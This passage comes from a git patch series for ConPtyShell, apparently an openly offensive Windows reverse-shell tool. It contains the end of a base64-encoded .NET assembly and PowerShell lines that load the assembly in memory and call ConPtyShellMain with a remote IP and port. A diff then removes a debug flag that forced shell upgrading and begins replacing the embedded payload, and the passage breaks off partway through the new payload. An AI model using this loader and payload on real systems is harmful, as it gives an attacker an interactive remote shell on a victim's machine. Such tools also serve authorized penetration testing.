AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAEAAAABgAAIAAAAAAAAAAAAAAAAAAAAEAAQAAADAAAIAAAAAAAAAAAAAAAAAAAAEAAAAAAEgAAABYoAAAbAIAAAAAAAAAAAAAbAI0AAAAVgBTAF8AVgBFAFIAUwBJAE8ATgBfAEkATgBGAE8AAAAAAL0E7/4AAAEAAAAAAAAAAAAAAAAAAAAAAD8AAAAAAAAABAAAAAEAAAAAAAAAAAAAAAAAAABEAAAAAQBWAGEAcgBGAGkAbABlAEkAbgBmAG8AAAAAACQABAAAAFQAcgBhAG4AcwBsAGEAdABpAG8AbgAAAAAAAACwBMwBAAABAFMAdAByAGkAbgBnAEYAaQBsAGUASQBuAGYAbwAAAKgBAAABADAAMAAwADAAMAA0AGIAMAAAACwAAgABAEYAaQBsAGUARABlAHMAYwByAGkAcAB0AGkAbwBuAAAAAAAgAAAAMAAIAAEARgBpAGwAZQBWAGUAcgBzAGkAbwBuAAAAAAAwAC4AMAAuADAALgAwAAAATAAVAAEASQBuAHQAZQByAG4AYQBsAE4AYQBtAGUAAABDAG8AbgBQAHQAeQBTAGgAZQBsAGwAXwBuAGUAdAAyAC4AZQB4AGUAAAAAACgAAgABAEwAZQBnAGEAbABDAG8AcAB5AHIAaQBnAGgAdAAAACAAAABUABUAAQBPAHIAaQBnAGkAbgBhAGwARgBpAGwAZQBuAGEAbQBlAAAAQwBvAG4AUAB0AHkAUwBoAGUAbABsAF8AbgBlAHQAMgAuAGUAeABlAAAAAAA0AAgAAQBQAHIAbwBkAHUAYwB0AFYAZQByAHMAaQBvAG4AAAAwAC4AMAAuADAALgAwAAAAOAAIAAEAQQBzAHMAZQBtAGIAbAB5ACAAVgBlAHIAcwBpAG8AbgAAADAALgAwAC4AMAAuADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAwAAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="
$ConPtyShellBytes = [System.Convert]::FromBase64String($ConPtyShellBase64)
[Reflection.Assembly]::Load($ConPtyShellBytes) | Out-Null
$output = [ConPtyShellMainClass]::ConPtyShellMain($parametersConPtyShell)
From b18e05326860a61987e1a81c44365a24f4e1f3b9 Mon Sep 17 00:00:00 2001
From: antonioCoco
Date: Tue, 2 Mar 2021 16:38:10 +0100
Subject: [PATCH 4/5] removing debug parameter
---
ConPtyShell.cs | 1 -
Invoke-ConPtyShell.ps1 | 3 ++-
Invoke-ConPtyShell2.ps1 | 2 +-
3 files changed, 3 insertions(+), 3 deletions(-)
diff --git a/ConPtyShell.cs b/ConPtyShell.cs
index 0d6c05b..1df5c96 100644
--- a/ConPtyShell.cs
+++ b/ConPtyShell.cs
@@ -1081,7 +1081,6 @@ private static void DisplayHelp()
uint rows = ParseRows(args);
uint cols = ParseCols(args);
string commandLine = ParseCommandLine(args);
- upgradeShell = true;
output=ConPtyShell.SpawnConPtyShell(remoteIp, remotePort, rows, cols, commandLine, upgradeShell);
}
return output;
diff --git a/Invoke-ConPtyShell.ps1 b/Invoke-ConPtyShell.ps1
index 32a6a5d..e03cddf 100644
--- a/Invoke-ConPtyShell.ps1
+++ b/Invoke-ConPtyShell.ps1
@@ -116,6 +116,7 @@ function Invoke-ConPtyShell
}
$Source = @"
+
using System;
using System.IO;
using System.Text;
@@ -1150,7 +1151,6 @@ public static class ConPtyShellMainClass{
uint rows = ParseRows(args);
uint cols = ParseCols(args);
string commandLine = ParseCommandLine(args);
- upgradeShell = true;
output=ConPtyShell.SpawnConPtyShell(remoteIp, remotePort, rows, cols, commandLine, upgradeShell);
}
return output;
@@ -1164,4 +1164,5 @@ class MainClass{
Console.Out.Write(ConPtyShellMainClass.ConPtyShellMain(args));
}
}
+
"@;
\ No newline at end of file
diff --git a/Invoke-ConPtyShell2.ps1 b/Invoke-ConPtyShell2.ps1
index bd9fbf0..e322bb7 100644
--- a/Invoke-ConPtyShell2.ps1
+++ b/Invoke-ConPtyShell2.ps1
@@ -111,7 +111,7 @@ function Invoke-ConPtyShell2
}
$parametersConPtyShell = @($RemoteIp, $RemotePort, $Rows, $Cols, $CommandLine)
- $ConPtyShellBase64 = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAJpaPmAAAAAAAAAAAOAAAgELAQgAAHAAAAAgAAAAAAAA/n8AAAAgAAAAoAAAAABAAAAgAAAAEAAABAAAAAAAAAAEAAAAAAAAAADgAAAAEAAAAAAAAAMAQIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAALB/AABLAAAAAKAAAMgCAAAAAAAAAAAAAAAAAAAAAAAAAMAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAABGAAAAAgAAAAcAAAABAAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAAMgCAAAAoAAAABAAAACAAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAMAAAAAQAAAAkAAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA